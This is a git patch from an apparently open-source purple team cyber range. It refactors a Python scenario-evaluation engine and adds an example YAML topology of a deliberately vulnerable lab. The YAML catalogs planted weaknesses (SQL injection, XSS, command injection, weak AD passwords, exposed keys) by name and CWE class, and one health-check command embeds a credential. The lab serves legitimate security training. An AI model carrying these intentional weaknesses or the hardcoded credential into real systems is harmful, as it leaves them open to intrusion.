- ] + ) typer.echo(f"Started scenario: {scenario.metadata.name}") typer.echo(f" Run ID: {run_id}") typer.echo(f" Evaluable: {len(evaluable)} objectives (auto-checked)") - typer.echo(f" Manual: {len(manual)} objectives (require manual completion)") + typer.echo(f" Manual: {manual_count} objectives (require manual completion)") typer.echo(f" Trace ID: {session.trace_id}") typer.echo("") @@ -794,32 +845,18 @@ def run( typer.echo("No auto-evaluable objectives. Use 'aptl scenario stop' when done.") return - # Load .env so evaluators can read credentials (Wazuh Indexer, etc.) _load_env(project_dir) - # --- Engine phase --- timeout_minutes = timeout if timeout is not None else float( scenario.metadata.estimated_minutes ) - def on_progress(cycle: int, results: list, score: ScoreReport) -> None: - completed = sum(1 for os_ in score.objective_scores if os_.completed) - total = len(score.objective_scores) - newly_passed = [r for r in results if r.passed] - if newly_passed: - for r in newly_passed: - typer.echo(f" [PASS] {r.objective_id}: {r.detail}") - typer.echo( - f" Cycle {cycle}: {completed}/{total} objectives, " - f"score {score.total_score}/{score.max_score}" - ) - engine = ScenarioEngine( scenario=scenario, session_mgr=session_mgr, poll_interval=poll_interval, timeout_minutes=timeout_minutes, - on_progress=on_progress, + on_progress=_on_run_progress, ) shutdown_event = asyncio.Event() @@ -844,22 +881,4 @@ def _signal_handler(sig: int, frame: object) -> None: signal.signal(signal.SIGINT, original_sigint) signal.signal(signal.SIGTERM, original_sigterm) - # --- Report --- - typer.echo("") - if engine_result.timed_out: - typer.echo("Engine stopped: timeout reached") - else: - typer.echo("Engine stopped: evaluation complete") - - if engine_result.score is not None: - _print_score_summary(engine_result.score) - - typer.echo(f"\n Cycles: {engine_result.evaluation_cycles}") - typer.echo(f" Elapsed: {int(engine_result.elapsed_seconds // 60)}m " - f"{int(engine_result.elapsed_seconds % 60)}s") - - # --- Stop phase --- - typer.echo("") - session = session_mgr.get_active() - if session is not None and session_mgr.is_active(): - _stop_scenario(project_dir, scenarios_dir, session_mgr, session) + _print_engine_report(engine_result, scenario, session_mgr, project_dir, scenarios_dir) diff --git a/src/aptl/core/engine.py b/src/aptl/core/engine.py index 8e82caf5d..c03337e0b 100644 --- a/src/aptl/core/engine.py +++ b/src/aptl/core/engine.py @@ -14,7 +14,7 @@ from aptl.core.scenarios import ObjectiveType, ScenarioDefinition from aptl.core.scenarios import ScenarioStateError from aptl.core.scoring import ScoreReport, compute_score -from aptl.core.session import ScenarioSession +from aptl.core.session import ActiveSession, ScenarioSession from aptl.core.telemetry import ( SPAN_EVALUATION, create_child_span, @@ -42,6 +42,74 @@ class EngineResult: ProgressCallback = Callable[[int, list[EvaluationResult], ScoreReport], None] +def _parse_started_at(session: ActiveSession) -> datetime: + """Parse session start time, ensuring UTC timezone.""" + started_at = datetime.fromisoformat(session.started_at) + if not started_at.tzinfo: + started_at = started_at.replace(tzinfo=timezone.utc) + return started_at + + +def _pending_objectives( + all_objectives: list, + evaluable_ids: set[str], + completed: set[str], +) -> list: + """Return evaluable objectives that haven't been completed yet.""" + return [ + o for o in all_objectives + if o.id in evaluable_ids and o.id not in completed + ] + + +def _process_eval_results( + eval_results: list, + pending: list, + completed_set: set[str], + session_mgr: ScenarioSession, + tracer: object, + parent_ctx: object, + cycle: int, +) -> list[EvaluationResult]: + """Process raw gather results: log errors, record completions, emit spans.""" + cycle_results: list[EvaluationResult] = [] + for i, er in enumerate(eval_results): + if isinstance(er, Exception): + log.warning("Evaluation exception for %s: %s", pending[i].id, er) + continue + + cycle_results.append(er) + + if er.passed and er.objective_id not in completed_set: + session_mgr.record_objective_complete(er.objective_id) + completed_set.add(er.objective_id) + log.info("Objective completed: %s", er.objective_id) + + span = create_child_span( + tracer, parent_ctx, SPAN_EVALUATION, + { + "aptl.objective.id": er.objective_id, + "aptl.evaluation.passed": er.passed, + "aptl.evaluation.detail": er.detail, + "aptl.evaluation.cycle": cycle, + }, + ) + span.end() + + return cycle_results + + +def _try_state_transition(session_mgr: ScenarioSession, to_evaluating: bool) -> None: + """Attempt a session state transition, logging on failure.""" + try: + if to_evaluating: + session_mgr.set_evaluating() + else: + session_mgr.set_active_from_evaluating() + except ScenarioStateError as exc: + log.debug("State transition failed: %s", exc) + + class ScenarioEngine: """Async engine that evaluates scenario objectives in real time. @@ -78,6 +146,36 @@ def __init__( if o.type != ObjectiveType.MANUAL } + def _is_timed_out(self, elapsed: float) -> bool: + """Check whether the engine has exceeded its timeout.""" + if self._timeout_minutes is None: + return False + return elapsed >= self._timeout_minutes * 60 + + def _update_result_from_session( + self, result: EngineResult, cycle: int, cycle_results: list[EvaluationResult], + elapsed: float, + ) -> None: + """Recompute score and update the engine result from current session.""" + session = self._session_mgr.get_active() + if session is None: + return + + score = compute_score( + self._scenario, + session.completed_objectives, + session.hints_used, + elapsed, + ) + result.score = score + result.completed_objectives = list(session.completed_objectives) + + if self._on_progress is not None: + try: + self._on_progress(cycle, cycle_results, score) + except Exception as e: + log.warning("Progress callback error: %s", e) + async def run(self, shutdown_event: asyncio.Event) -> EngineResult: """Main evaluation loop. @@ -89,9 +187,7 @@ async def run(self, shutdown_event: asyncio.Event) -> EngineResult: log.error("No active session to run engine against") return EngineResult() - started_at = datetime.fromisoformat(session.started_at) - if not started_at.tzinfo: - started_at = started_at.replace(tzinfo=timezone.utc) + started_at = _parse_started_at(session) init_tracing() tracer = get_tracer() @@ -103,124 +199,55 @@ async def run(self, shutdown_event: asyncio.Event) -> EngineResult: try: while not shutdown_event.is_set(): cycle += 1 - now = datetime.now(timezone.utc) - elapsed = (now - started_at).total_seconds() + elapsed = (datetime.now(timezone.utc) - started_at).total_seconds() - # Check timeout - if self._timeout_minutes is not None: - if elapsed >= self._timeout_minutes * 60: - log.info("Engine timeout reached after %.0fs", elapsed) - result.timed_out = True - break + if self._is_timed_out(elapsed): + log.info("Engine timeout reached after %.0fs", elapsed) + result.timed_out = True + break - # Reload session to get latest completed_objectives session = self._session_mgr.get_active() if session is None: log.warning("Session disappeared during engine run") break completed_set = set(session.completed_objectives) - pending = [ - o - for o in self._all_objectives - if o.id in self._evaluable_ids and o.id not in completed_set - ] + pending = _pending_objectives( + self._all_objectives, self._evaluable_ids, completed_set, + ) if not pending: log.info("All evaluable objectives complete") break - # Transition to EVALUATING - try: - self._session_mgr.set_evaluating() - except ScenarioStateError: - log.debug("Could not transition to EVALUATING (already in that state)") - pass + _try_state_transition(self._session_mgr, to_evaluating=True) - # Evaluate all pending objectives concurrently eval_results = await asyncio.gather( - *[ - evaluate_objective(o, session.started_at) - for o in pending - ], + *[evaluate_objective(o, session.started_at) for o in pending], return_exceptions=True, ) - # Process results - cycle_results: list[EvaluationResult] = [] - for i, er in enumerate(eval_results): - if isinstance(er, Exception): - log.warning( - "Evaluation exception for %s: %s", - pending[i].id, - er, - ) - continue - - cycle_results.append(er) - - if er.passed and er.objective_id not in completed_set: - self._session_mgr.record_objective_complete(er.objective_id) - completed_set.add(er.objective_id) - log.info("Objective completed: %s", er.objective_id) - - # Emit OTel evaluation span - span = create_child_span( - tracer, - parent_ctx, - SPAN_EVALUATION, - { - "aptl.objective.id": er.objective_id, - "aptl.evaluation.passed": er.passed, - "aptl.evaluation.detail": er.detail, - "aptl.evaluation.cycle": cycle, - }, - ) - span.end() - - # Transition back to ACTIVE - try: - self._session_mgr.set_active_from_evaluating() - except ScenarioStateError: - log.debug("Could not transition back to ACTIVE from EVALUATING") - pass - - # Compute score - session = self._session_mgr.get_active() - if session is not None: - score = compute_score( - self._scenario, - session.completed_objectives, - session.hints_used, - elapsed, - ) - result.score = score - result.completed_objectives = list(session.completed_objectives) - - # Invoke progress callback - if self._on_progress is not None: - try: - self._on_progress(cycle, cycle_results, score) - except Exception as e: - log.warning("Progress callback error: %s", e) + cycle_results = _process_eval_results( + eval_results, pending, completed_set, + self._session_mgr, tracer, parent_ctx, cycle, + ) + _try_state_transition(self._session_mgr, to_evaluating=False) + self._update_result_from_session(result, cycle, cycle_results, elapsed) result.evaluation_cycles = cycle - # Wait for next cycle (interruptible by shutdown_event) try: await asyncio.wait_for( - shutdown_event.wait(), - timeout=self._poll_interval, + shutdown_event.wait(), timeout=self._poll_interval, ) - # If we get here, shutdown was signaled - break + break # shutdown was signaled except asyncio.TimeoutError: - # Normal timeout, continue to next cycle - pass + pass # normal cycle interval finally: - now = datetime.now(timezone.utc) - result.elapsed_seconds = (now - started_at).total_seconds() + result.elapsed_seconds = ( + datetime.now(timezone.utc) - started_at + ).total_seconds() result.evaluation_cycles = cycle shutdown_tracing() @@ -236,11 +263,9 @@ async def evaluate_once(self) -> list[EvaluationResult]: return [] completed_set = set(session.completed_objectives) - pending = [ - o - for o in self._all_objectives - if o.id in self._evaluable_ids and o.id not in completed_set - ] + pending = _pending_objectives( + self._all_objectives, self._evaluable_ids, completed_set, + ) if not pending: return [] @@ -253,11 +278,7 @@ async def evaluate_once(self) -> list[EvaluationResult]: results: list[EvaluationResult] = [] for i, er in enumerate(eval_results): if isinstance(er, Exception): - log.warning( - "Evaluation exception for %s: %s", - pending[i].id, - er, - ) + log.warning("Evaluation exception for %s: %s", pending[i].id, er) continue results.append(er) @@ -275,9 +296,7 @@ def get_score(self) -> ScoreReport | None: if session is None: return None - started_at = datetime.fromisoformat(session.started_at) - if not started_at.tzinfo: - started_at = started_at.replace(tzinfo=timezone.utc) + started_at = _parse_started_at(session) elapsed = (datetime.now(timezone.utc) - started_at).total_seconds() return compute_score( diff --git a/src/aptl/core/evaluators.py b/src/aptl/core/evaluators.py index c0539656e..a535d5f63 100644 --- a/src/aptl/core/evaluators.py +++ b/src/aptl/core/evaluators.py @@ -181,14 +181,13 @@ async def evaluate_command_output( ) # Check optional regex - if validation.regex is not None: - if not re.search(validation.regex, output): - return EvaluationResult( - objective_id=objective_id, - passed=False, - detail=f"Regex not matched: {validation.regex}", - checked_at=checked_at, - ) + if validation.regex is not None and not re.search(validation.regex, output): + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"Regex not matched: {validation.regex}", + checked_at=checked_at, + ) log.info("Command output eval for %s: PASS", objective_id) return EvaluationResult( From 0408000c9fae599a58942caca8ee95cc2ad117ed Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 28 Mar 2026 21:53:19 -0700 Subject: [PATCH 05/15] Extend SDL for content, accounts, infra, config, etc. --- CHANGELOG.md | 33 + examples/aptl-lab-topology.sdl.yaml | 899 +++++++++++++++++ src/aptl/core/scenarios.py | 550 +---------- src/aptl/core/sdl/__init__.py | 26 + src/aptl/core/sdl/_base.py | 22 + src/aptl/core/sdl/_errors.py | 51 + src/aptl/core/sdl/_source.py | 25 + src/aptl/core/sdl/accounts.py | 49 + src/aptl/core/sdl/attacks.py | 88 ++ src/aptl/core/sdl/compat.py | 170 ++++ src/aptl/core/sdl/conditions.py | 54 + src/aptl/core/sdl/content.py | 63 ++ src/aptl/core/sdl/defenses.py | 24 + src/aptl/core/sdl/entities.py | 63 ++ src/aptl/core/sdl/features.py | 39 + src/aptl/core/sdl/infrastructure.py | 104 ++ src/aptl/core/sdl/nodes.py | 191 ++++ src/aptl/core/sdl/objectives.py | 155 +++ src/aptl/core/sdl/orchestration.py | 160 +++ src/aptl/core/sdl/parser.py | 243 +++++ src/aptl/core/sdl/scenario.py | 227 +++++ src/aptl/core/sdl/scoring.py | 103 ++ src/aptl/core/sdl/validator.py | 473 +++++++++ src/aptl/core/sdl/vulnerabilities.py | 31 + tests/test_sdl_compat.py | 158 +++ tests/test_sdl_models.py | 555 +++++++++++ tests/test_sdl_parser.py | 199 ++++ tests/test_sdl_stress.py | 1359 ++++++++++++++++++++++++++ tests/test_sdl_validator.py | 429 ++++++++ 29 files changed, 6029 insertions(+), 514 deletions(-) create mode 100644 examples/aptl-lab-topology.sdl.yaml create mode 100644 src/aptl/core/sdl/__init__.py create mode 100644 src/aptl/core/sdl/_base.py create mode 100644 src/aptl/core/sdl/_errors.py create mode 100644 src/aptl/core/sdl/_source.py create mode 100644 src/aptl/core/sdl/accounts.py create mode 100644 src/aptl/core/sdl/attacks.py create mode 100644 src/aptl/core/sdl/compat.py create mode 100644 src/aptl/core/sdl/conditions.py create mode 100644 src/aptl/core/sdl/content.py create mode 100644 src/aptl/core/sdl/defenses.py create mode 100644 src/aptl/core/sdl/entities.py create mode 100644 src/aptl/core/sdl/features.py create mode 100644 src/aptl/core/sdl/infrastructure.py create mode 100644 src/aptl/core/sdl/nodes.py create mode 100644 src/aptl/core/sdl/objectives.py create mode 100644 src/aptl/core/sdl/orchestration.py create mode 100644 src/aptl/core/sdl/parser.py create mode 100644 src/aptl/core/sdl/scenario.py create mode 100644 src/aptl/core/sdl/scoring.py create mode 100644 src/aptl/core/sdl/validator.py create mode 100644 src/aptl/core/sdl/vulnerabilities.py create mode 100644 tests/test_sdl_compat.py create mode 100644 tests/test_sdl_models.py create mode 100644 tests/test_sdl_parser.py create mode 100644 tests/test_sdl_stress.py create mode 100644 tests/test_sdl_validator.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 145239377..4a1fe9610 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,39 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [5.1.0] - 2026-03-29 + +### Added + +- SDL `content` section for data-in-systems: files, datasets (emails, DB records, pcaps), directory structures placed into scenario nodes — adapted from CyRIS `copy_content` pattern +- SDL `accounts` section for user accounts within scenario nodes: AD users, SSH users, email accounts with password strength, Kerberos SPNs, group memberships — adapted from CyRIS `add_account` and CybORG agent sessions +- Network access control rules (`acls`) on infrastructure nodes — adapted from CybORG `Subnets.NACLs` pattern +- Network `internal` flag on `SimpleProperties` for egress-blocked networks +- Host OS family and version fields on nodes (`os`, `os_version`) — vocabulary from OCSF `Device.os` +- CIA triad `asset_value` on nodes — adapted from CybORG `ConfidentialityValue`/`AvailabilityValue` +- `ServicePort` model for exposed network services on nodes (port/protocol/name) — simplified from OCSF `NetworkEndpoint` +- `PlatformCommand` on attack steps for per-OS command variants with cleanup — adapted from CALDERA `platforms.{os}.{shell}.command` and Atomic Red Team `cleanup_command` +- Health check extensions on conditions: `timeout`, `retries`, `start_period` +- Feature-list shorthand on nodes: `features: [svc-a, svc-b]` expands to dict with empty role binding +- Scenario 11 stress test: Exchange server with mailboxes, accounts, ACLs, phishing lure content, asset values +- 30 new tests for all extension models, validator passes, and shorthand expansion + +## [5.0.0] - 2026-03-28 + +### Added + +- Formal Scenario Description Language (SDL) package (`src/aptl/core/sdl/`) ported from the Open Cyber Range SDL, extended for APTL's domain, and decoupled from backend-specific infrastructure +- 14 OCR SDL sections: nodes (VM/Switch), infrastructure (topology/IP/CIDR), features (Service/Configuration/Artifact with cycle-detected dependency graphs), conditions (command/source monitoring), vulnerabilities (CWE-classified), metrics/evaluations/TLOs/goals (full scoring pipeline), entities (recursive org/team/person hierarchy with exercise roles), orchestration (injects/events/scripts/stories with human-readable durations) +- APTL extensions integrated into the SDL: objectives with auto-evaluation (wazuh_alert, command_output, file_exists), attack steps with MITRE ATT&CK mapping and OCSF-aligned expected detections, defense configurations, preconditions, scenario metadata, scoring with time bonuses and hint penalties +- Semantic validator (`validator.py`) with 21 cross-reference passes: node/feature/condition/vulnerability existence checks, infrastructure link and IP/CIDR validation, feature dependency cycle detection, metric/evaluation/TLO/goal reference chains, entity hierarchy validation, inject/event/script/story reference chains, MITRE technique format validation, mode-objective consistency +- SDL parser (`parser.py`) with case-insensitive key normalization, hyphen-to-underscore conversion, shorthand expansion (source strings, infrastructure counts, role strings, min-score integers), and auto-detection of APTL legacy vs OCR SDL format +- Backend-agnostic `Source(name, version)` reference type — no deployment handler coupling +- 117 new tests across 4 test files: structural model validation, semantic cross-reference validation, parser normalization/shorthand/format-detection, and backward compatibility + +### Changed + +- `src/aptl/core/scenarios.py` is now a backward-compatibility shim re-exporting all names from `aptl.core.sdl` — all 8 consumer files continue working with zero import changes (BREAKING: internal module restructuring) + ## [4.17.0] - 2026-03-26 ### Added diff --git a/examples/aptl-lab-topology.sdl.yaml b/examples/aptl-lab-topology.sdl.yaml new file mode 100644 index 000000000..4abfc10ce --- /dev/null +++ b/examples/aptl-lab-topology.sdl.yaml @@ -0,0 +1,899 @@ +# APTL Lab Topology — SDL representation of the real docker-compose.yml +# +# This SDL describes the actual APTL infrastructure as deployed by +# docker compose. Used to validate that the SDL is expressive enough +# to faithfully represent a real multi-network purple team lab. + +name: aptl-lab-topology +description: > + TechVault enterprise purple team lab with Wazuh SIEM, SOC stack + (Suricata, TheHive, MISP, Shuffle), enterprise targets (AD, webapp, + database, fileshare), and Kali red team platform across four + segmented networks. + +# --------------------------------------------------------------------------- +# Nodes: every container in the lab +# --------------------------------------------------------------------------- +nodes: + # --- Network switches (one per Docker network) --- + security-net: + type: Switch + description: "Security/management network (172.20.0.0/24) — Wazuh, SOC, OTel" + + dmz-net: + type: Switch + description: "DMZ network (172.20.1.0/24) — public-facing services, egress blocked" + + internal-net: + type: Switch + description: "Internal enterprise network (172.20.2.0/24) — AD, DB, fileshare, egress blocked" + + redteam-net: + type: Switch + description: "Red team network (172.20.4.0/24) — Kali, egress blocked" + + # --- Wazuh SIEM stack --- + wazuh-indexer: + type: VM + description: "Wazuh Indexer (OpenSearch) — alert storage and search" + source: + name: wazuh/wazuh-indexer + version: "4.12.0" + resources: + ram: 2 GiB + cpu: 2 + features: + opensearch-engine: indexer-svc + conditions: + indexer-health: indexer-svc + roles: + indexer-svc: + username: admin + + wazuh-manager: + type: VM + description: "Wazuh Manager — agent management, alerting, Filebeat" + source: + name: wazuh/wazuh-manager + version: "4.12.0" + resources: + ram: 1 GiB + cpu: 1 + features: + wazuh-core: manager-svc + filebeat-forwarder: manager-svc + custom-rules: manager-svc + conditions: + manager-api-health: manager-svc + roles: + manager-svc: + username: root + + wazuh-dashboard: + type: VM + description: "Wazuh Dashboard — web UI for alert visualization" + source: + name: wazuh/wazuh-dashboard + version: "4.12.0" + resources: + ram: 1 GiB + cpu: 1 + conditions: + dashboard-health: dashboard-svc + roles: + dashboard-svc: + username: kibanaserver + + # --- SOC tools --- + suricata: + type: VM + description: "Suricata IDS — network intrusion detection" + source: + name: jasonish/suricata + version: "7.0" + resources: + ram: 1 GiB + cpu: 1 + features: + ids-engine: suricata-svc + custom-suricata-rules: suricata-svc + roles: + suricata-svc: + username: root + + misp: + type: VM + description: "MISP — threat intelligence platform" + source: + name: ghcr.io/misp/misp-docker/misp-core + version: latest + resources: + ram: 2 GiB + cpu: 1 + conditions: + misp-health: misp-admin + roles: + misp-admin: + username: admin + + misp-db: + type: VM + description: "MISP database (MariaDB)" + source: + name: mariadb + version: "10.11" + resources: + ram: 512 MiB + cpu: 1 + conditions: + misp-db-health: db-svc + roles: + db-svc: + username: misp + + thehive: + type: VM + description: "TheHive — security incident response platform" + source: + name: strangebee/thehive + version: "5.4" + resources: + ram: 1 GiB + cpu: 1 + conditions: + thehive-health: thehive-svc + roles: + thehive-svc: + username: admin + + thehive-cassandra: + type: VM + description: "TheHive backend (Cassandra)" + source: + name: cassandra + version: "4.1" + resources: + ram: 1 GiB + cpu: 1 + conditions: + cassandra-health: cassandra-svc + roles: + cassandra-svc: + username: cassandra + + thehive-es: + type: VM + description: "TheHive search index (Elasticsearch)" + source: + name: docker.elastic.co/elasticsearch/elasticsearch + version: "7.17.28" + resources: + ram: 1 GiB + cpu: 1 + conditions: + thehive-es-health: es-svc + roles: + es-svc: + username: elastic + + shuffle-backend: + type: VM + description: "Shuffle SOAR — backend API" + source: + name: ghcr.io/shuffle/shuffle-backend + version: latest + resources: + ram: 1 GiB + cpu: 1 + roles: + shuffle-admin: + username: admin + + shuffle-frontend: + type: VM + description: "Shuffle SOAR — web UI" + source: + name: ghcr.io/shuffle/shuffle-frontend + version: latest + resources: + ram: 256 MiB + cpu: 1 + + shuffle-opensearch: + type: VM + description: "Shuffle backend storage (OpenSearch)" + source: + name: opensearchproject/opensearch + version: "2.14.0" + resources: + ram: 1 GiB + cpu: 1 + conditions: + shuffle-os-health: os-svc + roles: + os-svc: + username: admin + + cortex: + type: VM + description: "Cortex — observable analysis engine" + source: + name: thehiveproject/cortex + version: "3.1.8" + resources: + ram: 512 MiB + cpu: 1 + + # --- Enterprise targets --- + webapp: + type: VM + description: "TechVault web application (Flask) — vulnerable by design" + source: aptl-webapp + resources: + ram: 256 MiB + cpu: 1 + features: + flask-app: webapp-svc + conditions: + webapp-health: webapp-svc + vulnerabilities: + - sqli-login + - sqli-search + - xss-stored + - xss-reflected + - command-injection + - idor + roles: + webapp-svc: + username: techvault + + ad: + type: VM + description: "Active Directory domain controller (Samba) — techvault.local" + source: aptl-ad + resources: + ram: 512 MiB + cpu: 1 + features: + samba-ad: ad-admin + conditions: + ad-health: ad-admin + vulnerabilities: + - weak-ad-passwords + - kerberoastable-spn + - over-privileged-accounts + roles: + ad-admin: + username: Administrator + + db: + type: VM + description: "PostgreSQL database — TechVault application data" + source: + name: postgres + version: "16-alpine" + resources: + ram: 256 MiB + cpu: 1 + conditions: + db-health: db-svc + vulnerabilities: + - weak-db-credentials + - exposed-pii + roles: + db-svc: + username: techvault + + fileshare: + type: VM + description: "Samba file server — department shares with planted credentials" + source: aptl-fileshare + resources: + ram: 256 MiB + cpu: 1 + conditions: + fileshare-health: fileshare-svc + vulnerabilities: + - open-shares + - hardcoded-credentials + - exposed-ssh-keys + roles: + fileshare-svc: + username: root + + victim: + type: VM + description: "Rocky Linux application server with Wazuh agent and Falco" + source: aptl-victim + resources: + ram: 512 MiB + cpu: 1 + conditions: + victim-ssh-health: labadmin + roles: + labadmin: + username: labadmin + + workstation: + type: VM + description: "Employee workstation with bash_history, SSH keys, git tokens" + source: aptl-workstation + resources: + ram: 256 MiB + cpu: 1 + vulnerabilities: + - bash-history-creds + - exposed-ssh-keys-ws + - git-tokens + roles: + user: + username: jdoe + + dns: + type: VM + description: "BIND9 DNS server — techvault.local zone + C2 detection" + source: aptl-dns + resources: + ram: 128 MiB + cpu: 1 + conditions: + dns-health: dns-svc + roles: + dns-svc: + username: named + + kali: + type: VM + description: "Kali Linux — red team attack platform" + source: aptl-kali + resources: + ram: 1 GiB + cpu: 2 + features: + kali-tools: kali-user + impacket: kali-user + conditions: + kali-ssh-health: kali-user + roles: + kali-user: + username: kali + entities: + - red-team + + # --- OTel stack --- + otel-collector: + type: VM + description: "OpenTelemetry Collector — receives OTLP, forwards to Tempo" + source: + name: otel/opentelemetry-collector-contrib + version: "0.123.0" + resources: + ram: 256 MiB + cpu: 1 + conditions: + otel-health: otel-svc + roles: + otel-svc: + username: root + + tempo: + type: VM + description: "Grafana Tempo — distributed tracing storage (72h retention)" + source: + name: grafana/tempo + version: "2.7.2" + resources: + ram: 512 MiB + cpu: 1 + + grafana: + type: VM + description: "Grafana — trace visualization" + source: + name: grafana/grafana + version: "11.6.0" + resources: + ram: 256 MiB + cpu: 1 + +# --------------------------------------------------------------------------- +# Infrastructure: network topology and IP assignments +# --------------------------------------------------------------------------- +infrastructure: + security-net: + count: 1 + properties: + cidr: 172.20.0.0/24 + gateway: 172.20.0.1 + + dmz-net: + count: 1 + properties: + cidr: 172.20.1.0/24 + gateway: 172.20.1.1 + + internal-net: + count: 1 + properties: + cidr: 172.20.2.0/24 + gateway: 172.20.2.1 + + redteam-net: + count: 1 + properties: + cidr: 172.20.4.0/24 + gateway: 172.20.4.1 + + wazuh-indexer: + count: 1 + links: + - security-net + properties: + - security-net: 172.20.0.12 + + wazuh-manager: + count: 1 + links: + - security-net + - dmz-net + - internal-net + dependencies: + - wazuh-indexer + properties: + - security-net: 172.20.0.10 + - dmz-net: 172.20.1.10 + - internal-net: 172.20.2.30 + + wazuh-dashboard: + count: 1 + links: + - security-net + dependencies: + - wazuh-indexer + - wazuh-manager + properties: + - security-net: 172.20.0.11 + + suricata: + count: 1 + links: + - dmz-net + - internal-net + - security-net + properties: + - dmz-net: 172.20.1.50 + - internal-net: 172.20.2.50 + - security-net: 172.20.0.50 + + misp: + count: 1 + links: + - security-net + dependencies: + - misp-db + properties: + - security-net: 172.20.0.16 + + misp-db: + count: 1 + links: + - security-net + properties: + - security-net: 172.20.0.17 + + thehive: + count: 1 + links: + - security-net + dependencies: + - thehive-cassandra + - thehive-es + properties: + - security-net: 172.20.0.18 + + thehive-cassandra: + count: 1 + links: + - security-net + + thehive-es: + count: 1 + links: + - security-net + + shuffle-backend: + count: 1 + links: + - security-net + dependencies: + - shuffle-opensearch + properties: + - security-net: 172.20.0.20 + + shuffle-frontend: + count: 1 + links: + - security-net + dependencies: + - shuffle-backend + properties: + - security-net: 172.20.0.21 + + shuffle-opensearch: + count: 1 + links: + - security-net + + cortex: + count: 1 + links: + - security-net + dependencies: + - thehive-es + properties: + - security-net: 172.20.0.22 + + webapp: + count: 1 + links: + - dmz-net + - internal-net + dependencies: + - db + properties: + - dmz-net: 172.20.1.20 + - internal-net: 172.20.2.25 + + ad: + count: 1 + links: + - internal-net + properties: + - internal-net: 172.20.2.10 + + db: + count: 1 + links: + - internal-net + properties: + - internal-net: 172.20.2.11 + + fileshare: + count: 1 + links: + - internal-net + properties: + - internal-net: 172.20.2.12 + + victim: + count: 1 + links: + - internal-net + dependencies: + - wazuh-manager + properties: + - internal-net: 172.20.2.20 + + workstation: + count: 1 + links: + - internal-net + dependencies: + - wazuh-manager + properties: + - internal-net: 172.20.2.40 + + dns: + count: 1 + links: + - dmz-net + - internal-net + - security-net + properties: + - dmz-net: 172.20.1.22 + - internal-net: 172.20.2.27 + - security-net: 172.20.0.25 + + kali: + count: 1 + links: + - redteam-net + - dmz-net + - internal-net + dependencies: + - wazuh-manager + properties: + - redteam-net: 172.20.4.30 + - dmz-net: 172.20.1.30 + - internal-net: 172.20.2.35 + + otel-collector: + count: 1 + links: + - security-net + properties: + - security-net: 172.20.0.53 + + tempo: + count: 1 + links: + - security-net + properties: + - security-net: 172.20.0.51 + + grafana: + count: 1 + links: + - security-net + properties: + - security-net: 172.20.0.52 + +# --------------------------------------------------------------------------- +# Features: software deployed onto VMs +# --------------------------------------------------------------------------- +features: + opensearch-engine: + type: Service + source: + name: wazuh-indexer-config + version: "4.12.0" + description: "Wazuh Indexer (OpenSearch) core engine" + + wazuh-core: + type: Service + source: + name: wazuh-manager-config + version: "4.12.0" + description: "Wazuh Manager core service (agent management, alerting)" + + filebeat-forwarder: + type: Service + dependencies: + - wazuh-core + description: "Filebeat forwarder for Wazuh alerts to indexer" + + custom-rules: + type: Configuration + dependencies: + - wazuh-core + description: "Custom Wazuh rules (Falco, Kali, AD, webapp, Suricata, database)" + + ids-engine: + type: Service + source: + name: suricata + version: "7.0" + description: "Suricata IDS engine" + + custom-suricata-rules: + type: Configuration + dependencies: + - ids-engine + description: "Custom Suricata detection rules (local.rules)" + + samba-ad: + type: Service + source: samba-ad-dc + description: "Samba Active Directory Domain Controller (techvault.local)" + + flask-app: + type: Service + source: aptl-webapp + description: "Flask web application with intentional vulnerabilities" + + kali-tools: + type: Service + source: kali-tools-top10 + description: "Kali Linux top-10 tools metapackage" + + impacket: + type: Service + dependencies: + - kali-tools + source: impacket + description: "Impacket Python toolkit for AD exploitation" + +# --------------------------------------------------------------------------- +# Conditions: health checks mapping to docker health checks +# --------------------------------------------------------------------------- +conditions: + indexer-health: + command: "curl -ks https://localhost:9200 || exit 1" + interval: 30 + + manager-api-health: + command: "curl -ks https://localhost:55000 || exit 1" + interval: 30 + + dashboard-health: + command: "curl -ks https://localhost:5601 || exit 1" + interval: 30 + + misp-health: + command: "curl -ksf https://localhost/users/login || exit 1" + interval: 30 + + misp-db-health: + command: "healthcheck.sh --connect --innodb_initialized" + interval: 15 + + thehive-health: + command: "curl -sf http://localhost:9000/api/status || exit 1" + interval: 30 + + cassandra-health: + command: "cqlsh -e 'describe cluster' || exit 1" + interval: 30 + + thehive-es-health: + command: "curl -sf http://localhost:9200/_cluster/health || exit 1" + interval: 30 + + shuffle-os-health: + command: "curl -ks https://localhost:9200 -u admin:pass || exit 1" + interval: 30 + + webapp-health: + command: "curl -sf http://localhost:8080/ || exit 1" + interval: 15 + + ad-health: + command: "samba-tool domain info 127.0.0.1 || exit 1" + interval: 30 + + db-health: + command: "pg_isready -U techvault -d techvault" + interval: 10 + + fileshare-health: + command: "smbclient -L localhost -N || exit 1" + interval: 15 + + victim-ssh-health: + command: "ss -tlnp | grep ':22' || exit 1" + interval: 15 + + kali-ssh-health: + command: "ss -tlnp | grep ':22' || exit 1" + interval: 15 + + dns-health: + command: "dig @localhost techvault.local SOA +short || exit 1" + interval: 15 + + otel-health: + command: "wget --spider -q http://localhost:13133/" + interval: 10 + +# --------------------------------------------------------------------------- +# Vulnerabilities: planted weaknesses in the enterprise +# --------------------------------------------------------------------------- +vulnerabilities: + sqli-login: + name: "SQL Injection (Login)" + description: "SQL injection in the login form allows authentication bypass" + technical: true + class: CWE-89 + + sqli-search: + name: "SQL Injection (Search)" + description: "SQL injection in search functionality" + technical: true + class: CWE-89 + + xss-stored: + name: "Stored XSS" + description: "Stored cross-site scripting in user-generated content" + technical: true + class: CWE-79 + + xss-reflected: + name: "Reflected XSS" + description: "Reflected XSS via URL parameters" + technical: true + class: CWE-79 + + command-injection: + name: "OS Command Injection" + description: "Command injection through web form input" + technical: true + class: CWE-78 + + idor: + name: "Insecure Direct Object Reference" + description: "IDOR allowing access to other users' records" + technical: true + class: CWE-639 + + weak-ad-passwords: + name: "Weak AD Passwords" + description: "Domain accounts with common/default passwords" + technical: false + class: CWE-521 + + kerberoastable-spn: + name: "Kerberoastable SPN" + description: "Service accounts with SPNs vulnerable to Kerberoasting" + technical: true + class: CWE-916 + + 